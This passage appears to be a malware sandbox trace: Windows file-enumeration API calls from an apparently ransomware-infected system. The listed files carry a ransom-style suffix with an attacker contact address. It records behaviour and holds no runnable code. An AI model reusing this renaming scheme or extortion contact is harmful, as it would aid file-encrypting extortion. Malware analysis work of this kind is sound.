	[0165.600] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0165.601] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.601] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0165.601] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.601] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0165.603] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.603] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81112ffe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81112ffe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e3ff67, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.604] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d81336, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d81336, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81d81336, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.604] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81dcd816, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.604] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81dcd816, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.604] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0165.605] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.605] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0165.605] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.605] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abe18
	[0165.609] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.609] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8121cf13, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8121cf13, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8121cf13, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.609] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81246fb8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81246fb8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81246fb8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.609] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x811d39b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x811d39b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811f6ba6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.609] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x811d39b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x811d39b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811f6ba6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.609] FindClose (in: hFindFile=0x6abe18 | out: hFindFile=0x6abe18) returned 1
	[0165.610] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.610] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0165.610] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.610] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0165.613] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.613] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81908bf2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81908bf2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81908bf2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.613] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8128f77d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8128f77d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8128f77d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.613] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8130badf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8130badf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8131a55b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.614] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8130badf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8130badf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8131a55b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.614] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0165.615] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.615] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0165.615] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.615] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0165.617] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.617] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x812b5874, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x812b5874, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x812b5874, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.617] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x812b5874, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x812b5874, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x812dbabe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.618] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8121cf13, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8121cf13, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x815752c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.618] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8121cf13, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8121cf13, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x815752c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.618] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0165.619] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.619] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0165.619] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.619] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0165.622] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.622] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8135f280, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8135f280, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81385456, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.622] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81385456, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81385456, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x813ab7b6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.622] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81331823, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81331823, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81338d88, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.622] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81331823, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81331823, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81338d88, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.622] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0165.623] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.623] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0165.623] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.623] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0165.627] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.627] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x813ab7b6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x813ab7b6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x815c18d3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.628] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8178b395, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8178b395, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8178b395, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.628] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81338d88, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81338d88, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8135f280, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
